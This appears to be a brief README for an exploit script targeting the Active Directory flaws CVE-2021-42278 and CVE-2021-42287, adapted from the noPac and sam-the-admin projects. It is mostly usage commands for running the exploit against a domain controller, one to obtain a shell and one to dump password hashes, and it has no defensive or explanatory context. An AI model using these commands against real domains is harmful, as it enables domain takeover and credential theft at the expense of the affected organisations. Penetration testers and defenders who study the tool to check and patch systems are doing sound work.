
Exploiting CVE-2021-42278 and CVE-2021-42287
Exploiting CVE-2021-42278 and CVE-2021-42287
The original noPac project may have some issues in implementation, which prevented it from working locally, so reference was made to the sam-the-admin project for modifications.
pip3 install -r requirements.txt
# GetShell
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell
# DumpHash
python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -dump
https://github.com/cube0x0/noPac
https://github.com/WazeHell/sam-the-admin